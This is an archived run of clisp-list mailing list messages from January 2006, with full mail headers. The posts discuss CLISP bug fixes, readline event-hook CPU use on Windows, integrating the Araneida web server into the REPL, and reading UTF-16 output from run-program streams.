65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 05 Jan 2006 12:27:25 -0500 X-IronPort-AV: i="3.99,335,1131339600"; d="scan'208"; a="191743584:sNHT29132052" To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43BCE4A0.6090109@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 05 Jan 2006 11:19:28 +0200") References: <43BCE4A0.6090109@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: describe 'set-locale Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 5 09:28:01 2006 X-Original-Date: Thu, 05 Jan 2006 12:26:16 -0500 > * Yaroslav Kavenchuk [2006-01-05 11:19:28 +0200]: > > clisp from CVS head, mingw > > *impnotes-root-default* set to "file:///C:/clisp-2.37/doc/impnotes.html" > *browser* set to :mozilla > > [1]> (describe 'set-locale ) > ... > ;; running ["c:/Program Files/mozilla.org/Mozilla/mozilla.exe" > "file:///C:/clisp-2.37/doc/impnotes.htmlset-locale" > ]...done > ... > > > Popup message "File /C:/clisp-2.37/doc/impnotes.htmlset-locale not > found..." (without sharp) > > if set *browser* to :default > > [3]> (describe 'set-locale ) > ... > ;; starting the default system browser with url > "file:///C:/clisp-2.37/doc/impnotes.htmlset-locale"... > *** - Win32 Error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the > file specified. fixed in the CVS, thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.honestreporting.com http://truepeace.org http://www.jihadwatch.org/ http://pmw.org.il/ If you think big enough, you'll never have to do it. From sds@gnu.org Thu Jan 05 17:11:07 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eug8I-0008IC-F0 for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 17:11:06 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eug8G-0004UR-Sw for clisp-list@lists.sourceforge.net; Thu, 05 Jan 2006 17:11:06 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 05 Jan 2006 20:11:03 -0500 X-IronPort-AV: i="3.99,336,1131339600"; d="scan'208"; a="191901030:sNHT1337296098" To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0307A8CFAD@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 3 Jan 2006 11:33:27 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A0307A8CFAD@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Windows standalone application Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 5 17:12:02 2006 X-Original-Date: Thu, 05 Jan 2006 20:09:53 -0500 > * Hoehle, Joerg-Cyril [2006-01-03 11:33:27 +0100]: > > When I mentioned this some years ago, Sam implemented > ext:make-xterm-io-stream for UNIX. So there also, you can send i/o to > separate windows. (In comparison, the xterm-io-stream looks a bit > bare-bones: no scrollbars(ouch!), title not directly settable > (presumably via some Escape-sequence, and easy to fix in the syscalls > module), and unexpected output ("/dev/pts9") appears in it). I just fixed this bug -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.honestreporting.com http://www.camera.org http://www.memri.org/ http://www.savegushkatif.org Money does not "play a role", it writes the scenario. From zellerin@gmail.com Fri Jan 06 02:44:16 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eup4r-0005xY-TD for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 02:44:09 -0800 Received: from zproxy.gmail.com ([64.233.162.192]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eup4q-0006UR-QZ for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 02:44:10 -0800 Received: by zproxy.gmail.com with SMTP id z3so3189786nzf for ; Fri, 06 Jan 2006 02:44:05 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=LKV/Uapu+u9U2aWId7ROD+pBgVdx8PHZWGCRe78mH+QYfip9BPYSmhfa0LJRpmZfQq92VS+kROljV9iAONxCvbYIo5V9WDQIs9VkjzJfyvnE42T79qYsoh55puiPiDWK+18t1N/Hv2hdPmbHqu5LKY+XFf3R09USAKR+ryNxDQ0= Received: by 10.36.80.2 with SMTP id d2mr3746713nzb; Fri, 06 Jan 2006 02:43:07 -0800 (PST) Received: by 10.36.222.42 with HTTP; Fri, 6 Jan 2006 02:44:04 -0800 (PST) Message-ID: From: Tomas Zellerin To: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) Cc: clisp-list@lists.sourceforge.net In-Reply-To: <43BCC77B.10207@jenty.by> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <43BCC77B.10207@jenty.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 6 02:45:02 2006 X-Original-Date: Fri, 6 Jan 2006 11:44:04 +0100 > > clisp-2.37-win32-with-readline-and-gettext.zip upload to sf.net > Thanks to you. However, I have a problem with event-hook under windows. While it works on Windows, it appears not to honor (set-keyboard-input-timeout) setting and gets called without any timeout, just eating all available CPU cycles. I use it in REPL for handling Araneida requests and have no cycles left is not good. It works fine in Linux. I assume it is a readline bug, but before considering reporting it, I would like to know what is the source of the readline5.dll, whether it is latest version (it indicates 500, but 5.1 sources are release - but it may be different under windows) and how it was compiled - pristine sources or some Windows modifications to make it work? Even better, is anyone using other application that uses readline/event-hook under windows and observes similar behaviour? Regards, Tomas From kavenchuk@jenty.by Fri Jan 06 02:54:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EupFC-0006Tb-Is for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 02:54:50 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EupFC-0005Yq-Bu for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 02:54:50 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id Z8FQJYJW; Fri, 6 Jan 2006 12:56:21 +0200 Message-ID: <43BE4CDD.7090302@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Tomas Zellerin CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 6 02:55:19 2006 X-Original-Date: Fri, 06 Jan 2006 12:56:29 +0200 Tomas Zellerin wrote: >>clisp-2.37-win32-with-readline-and-gettext.zip upload to sf.net >> > > > Thanks to you. > > However, I have a problem with event-hook under windows. While it > works on Windows, it appears not to honor (set-keyboard-input-timeout) > setting and gets called without any timeout, just eating all available > CPU cycles. I use it in REPL for handling Araneida requests and have > no cycles left is not good. It works fine in Linux. > > I assume it is a readline bug, but before considering reporting it, I > would like to know what is the source of the readline5.dll, whether it > is latest version (it indicates 500, but 5.1 sources are release - but > it may be different under windows) and how it was compiled - pristine > sources or some Windows modifications to make it work? This last binary distribution from gnuwin32.sf.net: http://gnuwin32.sourceforge.net/packages/readline.htm I shall try to build last version of readline with mingw, but probability of failure is very high :( Thanks! -- WBR, Yaroslav Kavenchuk. From zellerin@gmail.com Fri Jan 06 03:06:17 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EupQD-0007B5-Cm for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 03:06:13 -0800 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EupQC-0001w8-4S for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 03:06:13 -0800 Received: by zproxy.gmail.com with SMTP id z3so3192712nzf for ; Fri, 06 Jan 2006 03:06:08 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=EhMkNt7C9X8Mjvi9HcqTzPR3eIs2JkOHJUziej55BaYvd2exj3az8pgEUpqbD7GtbEOsxsw8hvZXFYYELpJQVxjv2Lylo/Lfr9nqJ8ZqzpT5PDc5cOc5sy5k9VkVyvEnn7VISWoXHeVaZgA29Mi4h1s3+ld6N0A5HbyKErTU3Dg= Received: by 10.36.72.12 with SMTP id u12mr609628nza; Fri, 06 Jan 2006 03:06:03 -0800 (PST) Received: by 10.36.222.42 with HTTP; Fri, 6 Jan 2006 03:06:08 -0800 (PST) Message-ID: From: Tomas Zellerin To: Yaroslav Kavenchuk Subject: Re: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) Cc: clisp-list@lists.sourceforge.net In-Reply-To: <43BE4CDD.7090302@jenty.by> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <43BE4CDD.7090302@jenty.by> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 6 03:07:12 2006 X-Original-Date: Fri, 6 Jan 2006 12:06:08 +0100 > > This last binary distribution from gnuwin32.sf.net: > http://gnuwin32.sourceforge.net/packages/readline.htm > Hello, so it appears that the GnuWin32 project is the right place to file the bug. The patch they have there appears to be touching the area. Thanks, Tomas From Joerg-Cyril.Hoehle@t-systems.com Fri Jan 06 03:55:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuqBo-0001Nd-Ub for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 03:55:24 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuqBn-0000TB-IK for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 03:55:25 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 6 Jan 2006 12:54:27 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 6 Jan 2006 12:54:27 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0307BA18CC@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: zellerin@gmail.com Subject: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 6 03:56:35 2006 X-Original-Date: Fri, 6 Jan 2006 12:54:23 +0100 Tomas Zellerin wrote: >However, I have a problem with event-hook under windows. [...] >I use it in REPL for handling Araneida requests and have >no cycles left is not good. It works fine in Linux. So it appears you have something similar in functionality to = CMUCL/SBCL's serve-fd-event, with which people manage to run a server = *and* have a REPL even when there are no threads. Would you like to describe your setting? I'm sure many people are = interested and don't know about this possibility with CLISP. E.g. I = recently came across the lispweb mailing list archives and Brian = Mastenbrook mentioned on 2005-04-22 using sbcl the serve-event, which = he supposed not possible with CLISP. http://thread.gmane.org/gmane.lisp.web/525 Thanks a lot, J=F6rg H=F6hle. From zellerin@gmail.com Fri Jan 06 04:58:17 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EurAa-0004oU-FW for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 04:58:12 -0800 Received: from zproxy.gmail.com ([64.233.162.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EurAa-0006yx-C4 for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 04:58:12 -0800 Received: by zproxy.gmail.com with SMTP id z3so3209265nzf for ; Fri, 06 Jan 2006 04:58:10 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=U+d1u3Cye1bSayJVHV5ZJQOUAGM+QrwlHT3bW7jBN7U/xy3S2CBX3JDWXjoq5R+EPAkA1hiBYnogw6zemXlnNnzShgQ+0N5dJD1Xf4xLg+8BmXApvuGIh66bdFHc3IkpgIO4VtMNL2TfqYA17bAti3io7kEplrDJpSmgC8S4J9Q= Received: by 10.36.227.5 with SMTP id z5mr8209989nzg; Fri, 06 Jan 2006 04:58:09 -0800 (PST) Received: by 10.36.222.42 with HTTP; Fri, 6 Jan 2006 04:58:09 -0800 (PST) Message-ID: From: Tomas Zellerin To: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) Cc: clisp-list@lists.sourceforge.net In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0307BA18CC@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <5F9130612D07074EB0A0CE7E69FD7A0307BA18CC@S4DE8PSAAGS.blf.telekom.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 6 05:00:45 2006 X-Original-Date: Fri, 6 Jan 2006 13:58:09 +0100 On 06/01/06, Hoehle, Joerg-Cyril wrote: > Tomas Zellerin wrote: > >However, I have a problem with event-hook under windows. [...] > >I use it in REPL for handling Araneida requests and have > >no cycles left is not good. It works fine in Linux. > > So it appears you have something similar in functionality to CMUCL/SBCL's= serve-fd-event, with which people manage to run a server *and* have a REPL= even when there are no threads. > > Would you like to describe your setting? I'm sure many people are interes= ted and don't know about this possibility with CLISP. E.g. I recently came= across the lispweb mailing list archives and Brian Mastenbrook mentioned o= n 2005-04-22 using sbcl the serve-event, which he supposed not possible wit= h CLISP. > http://thread.gmane.org/gmane.lisp.web/525 > I wanted to first clean it up a bit (proper #+ directives and testing on windows) and post it somewhere, but so what, here it goes: (in-package araneida) ;;;; this probably all should go to compat-clisp.lisp (defun host-serve-events-once () "Non-blocking one-shot duplicate of host-serve-events. Returns integer." (let ((just-sockets (mapcar #'car *fd-handlers*))) (progn (loop for i in *fd-handlers* for j in (socket:socket-status just-sockets 0) do (if j (funcall (cdr i) (car i)))))) 0) (defun convert-address (address) "Convert IP address to string." (etypecase address (string address) (vector (format nil "~{~d.~^~}" (map 'list #'identity address))))) (defparameter *default-backlog* 10) (defun host-make-listener-socket (address port) (socket:socket-server port :backlog *default-backlog* :interface (convert-address address))) ;;;; example usage (load #P"araneida-version-0.90.1/doc/example.lisp") (in-package my-araneida-example) (start-listening *listener*) (setf readline:event-hook #'araneida::host-serve-events-once) Comments: - you can use either "127.0.0.1" and #(127 0 0 1) as parameter when creating listener; araneida only passes it verbatim. As default is #() form, the conversion is included - you (certainly) need recent clisp - 2.36 for event-hook and 2.37 for :backlog and :interface. I do not know how to best check for it. - If you talk about same blog of Brian Mastenbrook as I saw, he spoke not about repl and lisp, but about slime and lisp. Frankly, being vim user (shame on me, I know), I have no idea whether readline is used within slime setup. - As the handling works "in repl", beware of naive attempt to connect to web and do something from affected clisp itself - while the client tries to run, server does not response. Regards, Tomas From zellerin@gmail.com Fri Jan 06 06:35:21 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EusfS-0001KX-Ja for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 06:34:10 -0800 Received: from zproxy.gmail.com ([64.233.162.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EusfR-0007sL-FI for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 06:34:10 -0800 Received: by zproxy.gmail.com with SMTP id z3so3227153nzf for ; Fri, 06 Jan 2006 06:34:08 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=mlaVzGSuoiBHOYcm8asAw4XbRN4P8rnSmJ6qWy+K/fPVOXHevFXi1CtouzkhCpVjDZJ3esFda8gTHGM6ckfQ16acEl4D047+URYaL2UDy5moIZwHc2RIyisV+KFBubGPYGgbM08QkHxyI7DJqfPgfIiw4QCQSZEdlwrYp506x4c= Received: by 10.36.9.20 with SMTP id 20mr8396464nzi; Fri, 06 Jan 2006 06:34:07 -0800 (PST) Received: by 10.36.222.42 with HTTP; Fri, 6 Jan 2006 06:34:07 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Element type of stream created by (run-program) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 6 06:40:09 2006 X-Original-Date: Fri, 6 Jan 2006 15:34:07 +0100 Hello, is there any way how to specify element type of stream created by (run-program ... :output :stream)? The stream is by default of characters and I dont see any way how to change that, but certain Windows programs (e.g., cscript) tend to produce 2 byte unicode. (setf (stream-element-type '(unsigned-byte 16)) failed, and I can't find better name for two byte characters Regards, Tomas From kavenchuk@jenty.by Fri Jan 06 06:54:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eusyu-0002E9-M2 for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 06:54:16 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eusyt-0006Rx-DW for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 06:54:16 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id Z8FQJYS7; Fri, 6 Jan 2006 16:55:48 +0200 Message-ID: <43BE84FE.5030706@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Tomas Zellerin CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Element type of stream created by (run-program) References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 6 07:00:57 2006 X-Original-Date: Fri, 06 Jan 2006 16:55:58 +0200 Tomas Zellerin wrote: > Hello, > > is there any way how to specify element type of stream created by > (run-program ... :output :stream)? The stream is by default of > characters and I dont see any way how to change that, but certain > Windows programs (e.g., cscript) tend to produce 2 byte unicode. (setf > (stream-element-type '(unsigned-byte 16)) failed, and I can't find > better name for two byte characters > May be, set stream-element-type to character and set STREAM-EXTERNAL-FORMAT to CHARSET:UNICODE-16? Sorry if no :) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Jan 06 07:08:54 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EutD3-00038v-Iv for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 07:08:53 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.62]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EutD0-0002PC-VI for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 07:08:53 -0800 Received: from 65-78-15-12.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.15.12]) by smtp02.mrf.mail.rcn.net with ESMTP; 06 Jan 2006 10:08:47 -0500 X-IronPort-AV: i="3.99,339,1131339600"; d="scan'208"; a="192112610:sNHT76853242" To: clisp-list@lists.sourceforge.net, Tomas Zellerin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Tomas Zellerin's message of "Fri, 6 Jan 2006 15:34:07 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Tomas Zellerin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Element type of stream created by (run-program) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 6 07:16:42 2006 X-Original-Date: Fri, 06 Jan 2006 10:07:39 -0500 > * Tomas Zellerin [2006-01-06 15:34:07 +0100]: > > is there any way how to specify element type of stream created by > (run-program ... :output :stream)? The stream is by default of > characters and I dont see any way how to change that, but certain > Windows programs (e.g., cscript) tend to produce 2 byte unicode. (setf > (stream-element-type '(unsigned-byte 16)) failed, and I can't find > better name for two byte characters so you want to read characters encoded with UNICODE-16 ? (setf (stream-external-format my-stream) charset:unicode-16) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.camera.org http://www.openvotingconsortium.org/ http://www.honestreporting.com http://www.palestinefacts.org/ There are two kinds of egotists: 1) Those who admit it 2) The rest of us From s11@member.fsf.org Fri Jan 06 08:33:36 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EuuX0-0000Ou-Dg for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 08:33:34 -0800 Received: from sccimhc92.asp.att.net ([63.240.76.166]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EuuWz-00074R-0u for clisp-list@lists.sourceforge.net; Fri, 06 Jan 2006 08:33:34 -0800 Received: from . (12-222-181-59.client.insightbb.com[12.222.181.59]) by sccimhc92.asp.att.net (sccimhc92) with SMTP id <20060106163325i9200cmpkce>; Fri, 6 Jan 2006 16:33:25 +0000 Subject: Re: [clisp-list] Re: GNU CLISP 2.37 (2006-01-02) From: Stephen Compall To: clisp-list@lists.sourceforge.net In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0307BA18CC@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A0307BA18CC@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain Message-Id: <1136565204.2052.36.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.2.3-10mdk Content-Transfer-Encoding: 7bit X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: 